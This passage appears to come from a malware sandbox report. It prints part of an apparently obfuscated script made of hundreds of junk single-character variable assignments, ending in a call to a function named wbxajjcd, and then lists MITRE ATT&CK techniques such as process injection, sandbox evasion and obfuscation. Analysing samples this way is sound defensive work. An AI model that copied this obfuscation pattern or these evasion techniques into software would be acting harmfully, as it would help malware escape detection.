479	djfvajlqh = "O";
480	djfvajlqh = "p";
481	djfvajlqh = "R";
482	djfvajlqh = "k";
483	djfvajlqh = "k";
484	bunhw = "X";
485	bunhw = "u";
486	bunhw = "X";
487	bunhw = "A";
488	bunhw = "J";
489	bunhw = "n";
490	bunhw = "N";
491	bunhw = "Q";
492	bunhw = "s";
493	bunhw = "B";
494	bunhw = "V";
495	bunhw = "i";
496	bunhw = "w";
497	bunhw = "R";
498	bunhw = "c";
499	bunhw = "V";
500	bunhw = "K";
501	bunhw = "H";
502	bunhw = "F";
503	bunhw = "n";
504	bunhw = "u";
505	bunhw = "V";
506	bunhw = "k";
507	bunhw = "h";
508	sjmzedc = "M";
509	sjmzedc = "D";
510	sjmzedc = "l";
511	sjmzedc = "p";
512	sjmzedc = "L";
513	sjmzedc = "U";
514	sjmzedc = "y";
515	sjmzedc = "J";
516	sjmzedc = "j";
517	sjmzedc = "D";
518	sjmzedc = "i";
519	sjmzedc = "y";
520	sjmzedc = "a";
521	sjmzedc = "y";
522	sjmzedc = "A";
523	sjmzedc = "d";
524	sjmzedc = "i";
525	sjmzedc = "d";
526	sjmzedc = "Y";
527	sjmzedc = "E";
528	sjmzedc = "o";
529	sjmzedc = "Y";
530	sjmzedc = "B";
531	sjmzedc = "G";
532	sjmzedc = "J";
533	sjmzedc = "g";
534	sjmzedc = "R";
535	sjmzedc = "N";
536	sjmzedc = "O";
537	sjmzedc = "V";
538	sjmzedc = "z";
539	sjmzedc = "a";
540	sjmzedc = "S";
541	sjmzedc = "s";
542	sjmzedc = "y";
543	sjmzedc = "i";
544	sjmzedc = "k";
545	sjmzedc = "V";
546	sjmzedc = "M";
547	sjmzedc = "b";
548	sjmzedc = "i";
549	fanokir = "G";
550	fanokir = "g";
551	fanokir = "d";
552	fanokir = "f";
553	fanokir = "N";
554	fanokir = "W";
555	fanokir = "u";
556	fanokir = "I";
557	fanokir = "s";
558	fanokir = "c";
559	fanokir = "X";
560	fanokir = "Y";
561	fanokir = "I";
562	fanokir = "B";
563	fanokir = "D";
564	fanokir = "h";
565	fanokir = "a";
566	fanokir = "v";
567	fanokir = "U";
568	fanokir = "X";
569	fanokir = "v";
570	fanokir = "u";
571	fanokir = "l";
572	fanokir = "H";
573	fanokir = "T";
574	fanokir = "b";
575	fanokir = "m";
576	fanokir = "J";
577	fanokir = "H";
578	fanokir = "t";
579	fanokir = "D";
580	fanokir = "n";
581	fanokir = "F";
582	fanokir = "D";
583	fanokir = "A";
584	fanokir = "i";
585	fanokir = "H";
586	fanokir = "D";
587	fanokir = "E";
588	fanokir = "c";
589	fanokir = "U";
590	fanokir = "r";
591	fanokir = "c";
592	zjfjlhq = "h";
593	zjfjlhq = "m";
594	zjfjlhq = "i";
595	zjfjlhq = "G";
596	zjfjlhq = "K";
597	zjfjlhq = "s";
598	zjfjlhq = "v";
599	zjfjlhq = "n";
600	zjfjlhq = "Z";
601	zjfjlhq = "g";
602	zjfjlhq = "n";
603	zjfjlhq = "n";
604	zjfjlhq = "K";
605	zjfjlhq = "K";
606	zjfjlhq = "N";
607	zjfjlhq = "W";
608	zjfjlhq = "L";
609	zjfjlhq = "o";
610	zjfjlhq = "p";
611	zjfjlhq = "S";
612	zjfjlhq = "z";
613	zjfjlhq = "l";
614	zjfjlhq = "O";
615	zjfjlhq = "n";
616	zjfjlhq = "f";
617	zjfjlhq = "u";
618	akgxgrid = "d";
619	akgxgrid = "a";
620	akgxgrid = "V";
621	akgxgrid = "i";
622	akgxgrid = "C";
623	akgxgrid = "f";
624	akgxgrid = "J";
625	akgxgrid = "J";
626	akgxgrid = "F";
627	akgxgrid = "v";
628	akgxgrid = "U";
629	akgxgrid = "o";
630	akgxgrid = "l";
631	akgxgrid = "N";
632	akgxgrid = "d";
633	akgxgrid = "d";
634	akgxgrid = "H";
635	akgxgrid = "Z";
636	akgxgrid = "n";
637	akgxgrid = "N";
638	akgxgrid = "l";
639	akgxgrid = "r";
640	akgxgrid = "R";
641	akgxgrid = "e";
642	akgxgrid = "i";
643	akgxgrid = "c";
644	akgxgrid = "j";
645	akgxgrid = "n";
646	akgxgrid = "H";
647	akgxgrid = "z";
648	akgxgrid = "J";
649	akgxgrid = "y";
650	akgxgrid = "k";
651	akgxgrid = "P";
652	akgxgrid = "X";
653	akgxgrid = "5";
654	gtzhr = "z";
655	gtzhr = "L";
656	gtzhr = "J";
657	gtzhr = "a";
658	gtzhr = "l";
659	gtzhr = "a";
660	gtzhr = "y";
661	gtzhr = "l";
662	gtzhr = "i";
663	gtzhr = "d";
664	gtzhr = "I";
665	gtzhr = "s";
666	gtzhr = "I";
667	gtzhr = "U";
668	fmwcbp = "T";
669	fmwcbp = "c";
670	fmwcbp = "P";
671	fmwcbp = "Y";
672	fmwcbp = "j";
673	fmwcbp = "X";
674	fmwcbp = "M";
675	fmwcbp = "p";
676	fmwcbp = "J";
677	fmwcbp = "S";
678	fmwcbp = "Z";
679	fmwcbp = "X";
680	fmwcbp = "B";
681	fmwcbp = "m";
682	fmwcbp = "p";
683	fmwcbp = "m";
684	fmwcbp = "m";
685	fmwcbp = "f";
686	fmwcbp = "z";
687	fmwcbp = "G";
688	fmwcbp = "p";
689	fmwcbp = "m";
690	fmwcbp = "b";
691	fmwcbp = "i";
692	fmwcbp = "Z";
693	fmwcbp = "z";
694	fmwcbp = "r";
695	fmwcbp = "p";
696	fmwcbp = "R";
697	fmwcbp = "C";
698	fmwcbp = "d";
699	fmwcbp = "a";
700	fmwcbp = "O";
701	fmwcbp = "p";
702	fmwcbp = "U";
703	fmwcbp = "l";
704	qtgajwso = "o";
705	qtgajwso = "q";
706	qtgajwso = "u";
707	qtgajwso = "F";
708	qtgajwso = "l";
709	qtgajwso = "Z";
710	qtgajwso = "n";
711	qtgajwso = "O";
712	qtgajwso = "Y";
713	qtgajwso = "K";
714	qtgajwso = "a";
715	qtgajwso = "f";
716	qtgajwso = "t";
717	qtgajwso = "U";
718	qtgajwso = "r";
719	jbyfxy = "r";
720	jbyfxy = "Q";
721	jbyfxy = "w";
722	jbyfxy = "n";
723	jbyfxy = "q";
724	jbyfxy = "t";
725	jbyfxy = "e";
726	jbyfxy = "d";
727	jbyfxy = "F";
728	jbyfxy = "a";
729	jbyfxy = "H";
730	jbyfxy = "w";
731	jbyfxy = "d";
732	jbyfxy = "O";
733	jbyfxy = "E";
734	jbyfxy = "C";
735	jbyfxy = "p";
736	jbyfxy = "B";
737	jbyfxy = "T";
738	jbyfxy = "A";
739	jbyfxy = "r";
740	jbyfxy = "Q";
741	jbyfxy = "A";
742	jbyfxy = "v";
743	jbyfxy = "x";
744	jbyfxy = "i";
745	jbyfxy = "Z";
746	jbyfxy = "W";
747	jbyfxy = "C";
748	jbyfxy = "H";
749	jbyfxy = "K";
750	oyduylsg = "N";
751	oyduylsg = "l";
752	oyduylsg = "r";
753	oyduylsg = "l";
754	oyduylsg = "z";
755	oyduylsg = "H";
756	oyduylsg = "W";
757	oyduylsg = "Q";
758	oyduylsg = "c";
759	oyduylsg = "j";
760	oyduylsg = "D";
761	oyduylsg = "d";
762	oyduylsg = "3";
763	bxtzvwu = "A";
764	bxtzvwu = "Q";
765	bxtzvwu = "l";
766	bxtzvwu = "o";
767	bxtzvwu = "N";
768	bxtzvwu = "u";
769	bxtzvwu = "X";
770	bxtzvwu = "j";
771	bxtzvwu = "A";
772	bxtzvwu = "a";
773	bxtzvwu = "j";
774	bxtzvwu = "s";
775	bxtzvwu = "U";
776	bxtzvwu = "b";
777	bxtzvwu = "W";
778	bxtzvwu = "m";
779	bxtzvwu = "N";
780	bxtzvwu = "L";
781	bxtzvwu = "r";
782	bxtzvwu = "S";
783	bxtzvwu = "E";
784	bxtzvwu = "R";
785	bxtzvwu = "W";
786	bxtzvwu = "D";
787	bxtzvwu = "P";
788	bxtzvwu = "u";
789	bxtzvwu = "m";
790	bxtzvwu = "b";
791	bxtzvwu = "y";
792	bxtzvwu = "F";
793	bxtzvwu = "d";
794	bxtzvwu = "V";
795	bxtzvwu = "d";
796	bxtzvwu = "x";
797	bxtzvwu = "j";
798	bxtzvwu = "e";
799	bxtzvwu = "U";
800	bxtzvwu = "q";
801	bxtzvwu = "w";
802	bxtzvwu = "T";
803	bxtzvwu = "z";
804	bxtzvwu = "P";
805	bxtzvwu = "T";
806	bxtzvwu = "w";
807	fkpvkc = "h";
808	fkpvkc = "T";
809	fkpvkc = "r";
810	fkpvkc = "W";
811	fkpvkc = "H";
812	fkpvkc = "U";
813	fkpvkc = "Z";
814	fkpvkc = "i";
815	fkpvkc = "O";
816	fkpvkc = "O";
817	cygnovto = "y";
818	cygnovto = "j";
819	cygnovto = "h";
820	cygnovto = "n";
821	cygnovto = "I";
822	cygnovto = "F";
823	cygnovto = "I";
824	cygnovto = "k";
825	cygnovto = "Q";
826	cygnovto = "z";
827	cygnovto = "N";
828	cygnovto = "o";
829	cygnovto = "f";
830	cygnovto = "E";
831	cygnovto = "l";
832	cygnovto = "p";
833	cygnovto = "F";
834	cygnovto = "V";
835	cygnovto = "D";
836	cygnovto = "C";
837	cygnovto = "y";
838	cygnovto = "m";
839	cygnovto = "W";
840	cygnovto = "i";
841	cygnovto = "o";
842	cygnovto = "q";
843	cygnovto = "o";
844	cygnovto = "E";
845	cygnovto = "k";
846	cygnovto = "M";
847	cygnovto = "e";
848	cygnovto = "n";
849	cygnovto = "z";
850	cygnovto = "G";
851	cygnovto = "s";
852	cygnovto = "d";
853	cygnovto = "K";
854	cygnovto = "u";
855	cygnovto = "K";
856	cygnovto = "S";
857	cygnovto = "r";
858	cygnovto = "L";
859	nbdtux = "D";
860	nbdtux = "v";
861	nbdtux = ":";
862	iottbxfpb = "W";
863	iottbxfpb = "W";
864	iottbxfpb = "P";
865	iottbxfpb = "n";
866	iottbxfpb = "w";
867	iottbxfpb = "b";
868	iottbxfpb = "R";
869	iottbxfpb = "p";
870	iottbxfpb = "t";
871	iottbxfpb = "A";
872	iottbxfpb = "v";
873	iottbxfpb = "j";
874	iottbxfpb = "w";
875	iottbxfpb = "k";
876	iottbxfpb = "a";
877	iottbxfpb = "u";
878	iottbxfpb = "C";
879	iottbxfpb = "c";
880	iottbxfpb = "a";
881	ruqapgtiu = "e";
882	ruqapgtiu = "q";
883	ruqapgtiu = "s";
884	ruqapgtiu = "v";
885	ruqapgtiu = "K";
886	ruqapgtiu = "E";
887	ruqapgtiu = "z";
888	ruqapgtiu = "r";
889	ruqapgtiu = "I";
890	ruqapgtiu = "V";
891	ruqapgtiu = "P";
892	ruqapgtiu = "E";
893	ruqapgtiu = "j";
894	ruqapgtiu = "y";
895	ruqapgtiu = "L";
896	ruqapgtiu = "e";
897	ruqapgtiu = "X";
898	ruqapgtiu = "v";
899	ruqapgtiu = "t";
900	ruqapgtiu = "I";
901	ruqapgtiu = "v";
902	ruqapgtiu = "d";
903	ruqapgtiu = "q";
904	ruqapgtiu = "Z";
905	ruqapgtiu = "o";
906	ruqapgtiu = "w";
907	ruqapgtiu = "O";
908	ruqapgtiu = "Q";
909	ruqapgtiu = "I";
910	qgvome = "D";
911	qgvome = "X";
912	qgvome = "N";
913	qgvome = "&";
914	xkulvf = "d";
915	xkulvf = "H";
916	xkulvf = "g";
917	xkulvf = "x";
918	xkulvf = "Q";
919	xkulvf = "n";
920	xkulvf = "n";
921	xkulvf = "i";
922	xkulvf = "X";
923	xkulvf = "p";
924	xkulvf = "h";
925	xkulvf = "G";
926	xkulvf = "i";
927	xkulvf = "b";
928	xkulvf = "M";
929	xkulvf = "X";
930	xkulvf = "K";
931	xkulvf = "g";
932	xkulvf = "J";
933	xkulvf = "O";
934	xkulvf = "n";
935	xkulvf = "a";
936	xkulvf = "d";
937	xkulvf = "n";
938	xkulvf = "v";
939	xkulvf = "f";
940	xkulvf = "H";
941	xkulvf = "e";
942	xkulvf = "N";
943	dvpvvvbis = "W";
944	dvpvvvbis = "r";
945	dvpvvvbis = "X";
946	dvpvvvbis = "p";
947	dvpvvvbis = "Q";
948	dvpvvvbis = "X";
949	dvpvvvbis = "w";
950	dvpvvvbis = "n";
951	dvpvvvbis = "P";
952	dvpvvvbis = "T";
953	dvpvvvbis = "h";
954	dvpvvvbis = "F";
955	dvpvvvbis = "s";
956	efbanb = "Z";
957	efbanb = "T";
958	efbanb = "A";
959	efbanb = "w";
960	efbanb = "X";
961	efbanb = "D";
962	efbanb = "M";
963	efbanb = "Y";
964	efbanb = "e";
965	efbanb = "a";
966	efbanb = "L";
967	efbanb = "e";
968	efbanb = "j";
969	efbanb = "E";
970	efbanb = "f";
971	efbanb = "E";
972	efbanb = "S";
973	efbanb = "Y";
974	efbanb = "P";
975	efbanb = "m";
976	efbanb = "Y";
977	efbanb = "y";
978	efbanb = "V";
979	efbanb = "T";
980	efbanb = "s";
981	efbanb = "C";
982	efbanb = "z";
983	efbanb = "S";
984	efbanb = "Z";
985	efbanb = "C";
986	efbanb = "C";
987	efbanb = "B";
988	efbanb = "C";
989	efbanb = "Z";
990	efbanb = "G";
991	efbanb = "t";
992	vtnbnmkgm = "f";
993	vtnbnmkgm = "n";
994	vtnbnmkgm = "G";
995	vtnbnmkgm = "k";
996	vtnbnmkgm = "Y";
997	vtnbnmkgm = "E";
998	vtnbnmkgm = "w";
999	vtnbnmkgm = "B";
1000	vtnbnmkgm = "x";
1001	vtnbnmkgm = "q";
1002	bgrqvooc = "h";
1003	bgrqvooc = "w";
1004	bgrqvooc = "e";
1005	bgrqvooc = "A";
1006	bgrqvooc = "L";
1007	bgrqvooc = "X";
1008	bgrqvooc = "L";
1009	bgrqvooc = "F";
1010	bgrqvooc = "x";
1011	bgrqvooc = "R";
1012	bgrqvooc = "W";
1013	bgrqvooc = "Y";
1014	bgrqvooc = "J";
1015	bgrqvooc = "Y";
1016	smwuwwwp = "C";
1017	smwuwwwp = "O";
1018	smwuwwwp = "O";
1019	smwuwwwp = "z";
1020	smwuwwwp = "L";
1021	smwuwwwp = "m";
1022	smwuwwwp = "L";
1023	smwuwwwp = "b";
1024	smwuwwwp = "b";
1025	smwuwwwp = "v";
1026	smwuwwwp = "R";
1027	smwuwwwp = "I";
1028	smwuwwwp = "t";
1029	smwuwwwp = "k";
1030	smwuwwwp = "G";
1031	smwuwwwp = "r";
1032	smwuwwwp = "A";
1033	smwuwwwp = "V";
1034	smwuwwwp = "K";
1035	smwuwwwp = "d";
1036	smwuwwwp = "J";
1037	smwuwwwp = "R";
1038	smwuwwwp = "h";
1039	smwuwwwp = "d";
1040	smwuwwwp = "e";
1041	smwuwwwp = "x";
1042	smwuwwwp = "E";
1043	smwuwwwp = "%";
1044	domcrep = "q";
1045	domcrep = "t";
1046	domcrep = "T";
1047	domcrep = "H";
1048	domcrep = "a";
1049	domcrep = "w";
1050	domcrep = "K";
1051	domcrep = "S";
1052	domcrep = "O";
1053	domcrep = "J";
1054	domcrep = "m";
1055	domcrep = "T";
1056	domcrep = "L";
1057	domcrep = "e";
1058	domcrep = "z";
1059	domcrep = "P";
1060	domcrep = "y";
1061	domcrep = "R";
1062	domcrep = "R";
1063	domcrep = "P";
1064	domcrep = "V";
1065	domcrep = "H";
1066	domcrep = "x";
1067	domcrep = "q";
1068	domcrep = "L";
1069	domcrep = "f";
1070	domcrep = "M";
1071	domcrep = "J";
1072	domcrep = "B";
1073	domcrep = "h";
1074	domcrep = "b";
1075	rvhjccqc = "P";
1076	rvhjccqc = "u";
1077	rvhjccqc = "s";
1078	rvhjccqc = "i";
1079	rvhjccqc = "Q";
1080	rvhjccqc = "f";
1081	rvhjccqc = "m";
1082	rvhjccqc = "S";
1083	rvhjccqc = "Q";
1084	rvhjccqc = "h";
1085	rvhjccqc = "p";
1086	rvhjccqc = "E";
1087	rvhjccqc = "C";
1088	rvhjccqc = "N";
1089	rvhjccqc = "C";
1090	rvhjccqc = "b";
1091	rvhjccqc = "O";
1092	rvhjccqc = "s";
1093	rvhjccqc = "m";
1094	rvhjccqc = "M";
1095	rvhjccqc = "K";
1096	rvhjccqc = "e";
1097	rvhjccqc = "o";
1098	rvhjccqc = "Q";
1099	rvhjccqc = "z";
1100	rvhjccqc = "S";
1101	rvhjccqc = "b";
1102	rvhjccqc = "M";
1103	rvhjccqc = "K";
1104	rvhjccqc = "T";
1105	rvhjccqc = "F";
1106	rvhjccqc = "k";
1107	rvhjccqc = "N";
1108	rvhjccqc = "8";
1109	lthzbsmp = "h";
1110	lthzbsmp = "I";
1111	lthzbsmp = "q";
1112	lthzbsmp = "u";
1113	lthzbsmp = "k";
1114	lthzbsmp = "Q";
1115	lthzbsmp = "j";
1116	lthzbsmp = "a";
1117	lthzbsmp = "S";
1118	lthzbsmp = "q";
1119	lthzbsmp = "j";
1120	lthzbsmp = "b";
1121	lthzbsmp = "m";
1122	lthzbsmp = "/";
1123	lwimckhx = "u";
1124	lwimckhx = "r";
1125	lwimckhx = "n";
1126	lwimckhx = "x";
1127	lwimckhx = "f";
1128	lwimckhx = "1";
1129	lhgags = "d";
1130	lhgags = "Z";
1131	lhgags = "s";
1132	lhgags = "e";
1133	lhgags = "S";
1134	lhgags = "P";
1135	lhgags = "t";
1136	lhgags = "s";
1137	lhgags = "n";
1138	lhgags = "P";
1139	zrvuzfpuu = "Q";
1140	zrvuzfpuu = "e";
1141	zrvuzfpuu = "w";
1142	zrvuzfpuu = "H";
1143	zrvuzfpuu = "Y";
1144	zrvuzfpuu = "G";
1145	zrvuzfpuu = "g";
1146	cnlajahy = "f";
1147	cnlajahy = "e";
1148	cnlajahy = "d";
1149	cnlajahy = "Q";
1150	cnlajahy = "R";
1151	cnlajahy = "j";
1152	cnlajahy = "x";
1153	symquend = "t";
1154	symquend = "R";
1155	symquend = "d";
1156	symquend = "v";
1157	symquend = "i";
1158	symquend = "e";
1159	symquend = "C";
1160	symquend = "R";
1161	symquend = "g";
1162	symquend = "x";
1163	symquend = "v";
1164	xaydbch = "e";
1165	xaydbch = "S";
1166	xaydbch = "C";
1167	xaydbch = "H";
1168	xaydbch = "Y";
1169	xaydbch = "W";
1170	xaydbch = "U";
1171	xaydbch = "T";
1172	xaydbch = "v";
1173	xaydbch = "V";
1174	xaydbch = "L";
1175	xaydbch = "m";
1176	xaydbch = "i";
1177	xaydbch = "m";
1178	xaydbch = "k";
1179	xaydbch = "s";
1180	xaydbch = "h";
1181	xaydbch = "o";
1182	xaydbch = "H";
1183	xaydbch = "d";
1184	xaydbch = "\"";
1185	wdksdtr = "D";
1186	wdksdtr = "x";
1187	wdksdtr = "X";
1188	wdksdtr = "G";
1189	wdksdtr = "Y";
1190	wdksdtr = "B";
1191	wdksdtr = "k";
1192	wdksdtr = "y";
1193	wdksdtr = "A";
1194	wdksdtr = "X";
1195	wdksdtr = "Z";
1196	wdksdtr = "c";
1197	wdksdtr = "c";
1198	wdksdtr = "H";
1199	wdksdtr = "v";
1200	wdksdtr = "W";
1201	wdksdtr = "w";
1202	wdksdtr = "l";
1203	wdksdtr = "s";
1204	wdksdtr = "n";
1205	ulcowoqt = "i";
1206	ulcowoqt = "z";
1207	ulcowoqt = "O";
1208	ulcowoqt = "H";
1209	ulcowoqt = "r";
1210	ulcowoqt = "e";
1211	olsottum = "S";
1212	olsottum = "f";
1213	olsottum = "X";
1214	olsottum = "b";
1215	olsottum = "Z";
1216	olsottum = "Q";
1217	olsottum = "J";
1218	olsottum = "e";
1219	olsottum = "S";
1220	olsottum = "h";
1221	olsottum = "B";
1222	olsottum = "k";
1223	olsottum = "B";
1224	olsottum = "u";
1225	olsottum = "B";
1226	olsottum = "I";
1227	olsottum = "h";
1228	olsottum = "w";
1229	olsottum = "k";
1230	olsottum = "H";
1231	olsottum = "Y";
1232	olsottum = "j";
1233	olsottum = "i";
1234	olsottum = "A";
1235	olsottum = "n";
1236	olsottum = "m";
1237	olsottum = "D";
1238	olsottum = "I";
1239	olsottum = "m";
1240	olsottum = "y";
1241	olsottum = "p";
1242	olsottum = "d";
1243	ztjus = "J";
1244	ztjus = "Y";
1245	ztjus = "D";
1246	ztjus = "W";
1247	ztjus = "S";
1248	ztjus = "C";
1249	ztjus = "u";
1250	ztjus = "p";
1251	ztjus = "i";
1252	ztjus = "H";
1253	ztjus = "U";
1254	ztjus = "u";
1255	ztjus = "z";
1256	ztjus = "f";
1257	ztjus = "w";
1258	ztjus = "e";
1259	ztjus = "7";
1260	evbceut = "b";
1261	evbceut = "z";
1262	evbceut = "y";
1263	evbceut = "g";
1264	evbceut = "v";
1265	evbceut = "w";
1266	evbceut = "J";
1267	evbceut = "g";
1268	evbceut = "j";
1269	evbceut = "D";
1270	evbceut = "V";
1271	evbceut = "P";
1272	evbceut = "j";
1273	evbceut = "W";
1274	evbceut = "I";
1275	evbceut = "A";
1276	evbceut = "e";
1277	evbceut = "m";
1278	evbceut = "r";
1279	evbceut = "g";
1280	evbceut = "C";
1281	evbceut = "d";
1282	evbceut = "O";
1283	evbceut = "G";
1284	evbceut = "j";
1285	evbceut = "t";
1286	evbceut = "X";
1287	evbceut = "v";
1288	evbceut = "c";
1289	evbceut = "O";
1290	evbceut = "M";
1291	evbceut = "Y";
1292	evbceut = "S";
1293	evbceut = "S";
1294	evbceut = "O";
1295	evbceut = "w";
1296	evbceut = "i";
1297	evbceut = "@";
1298	kvdgm = "J";
1299	kvdgm = "x";
1300	kvdgm = "X";
1301	kvdgm = "r";
1302	kvdgm = "O";
1303	kvdgm = "m";
1304	kvdgm = "c";
1305	kvdgm = "H";
1306	iahexk = "t";
1307	iahexk = "p";
1308	iahexk = "w";
1309	iahexk = "f";
1310	iahexk = "y";
1311	iahexk = "n";
1312	iahexk = "e";
1313	iahexk = "V";
1314	iahexk = "t";
1315	iahexk = "j";
1316	iahexk = "T";
1317	iahexk = "W";
1318	iahexk = "X";
1319	iahexk = "W";
1320	iahexk = "m";
1321	iahexk = "P";
1322	iahexk = "M";
1323	iahexk = "e";
1324	iahexk = "g";
1325	iahexk = "R";
1326	iahexk = "j";
1327	iahexk = "c";
1328	iahexk = "t";
1329	iahexk = "h";
1330	iahexk = "Q";
1331	iahexk = "v";
1332	iahexk = "T";
1333	iahexk = "a";
1334	iahexk = "0";
1335	jirmtvk = "E";
1336	jirmtvk = "Y";
1337	jirmtvk = "D";
1338	jirmtvk = "U";
1339	jirmtvk = "a";
1340	jirmtvk = "p";
1341	jirmtvk = "X";
1342	jirmtvk = "v";
1343	jirmtvk = "R";
1344	jirmtvk = "x";
1345	jirmtvk = "O";
1346	jirmtvk = "j";
1347	jirmtvk = "p";
1348	jirmtvk = "T";
1349	xfjpmld = "p";
1350	xfjpmld = "E";
1351	xfjpmld = "k";
1352	xfjpmld = "K";
1353	xfjpmld = "q";
1354	xfjpmld = "D";
1355	xfjpmld = "T";
1356	xfjpmld = "D";
1357	xfjpmld = "C";
1358	xfjpmld = "F";
1359	wbxajjcd ( );	wbxajjcd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre
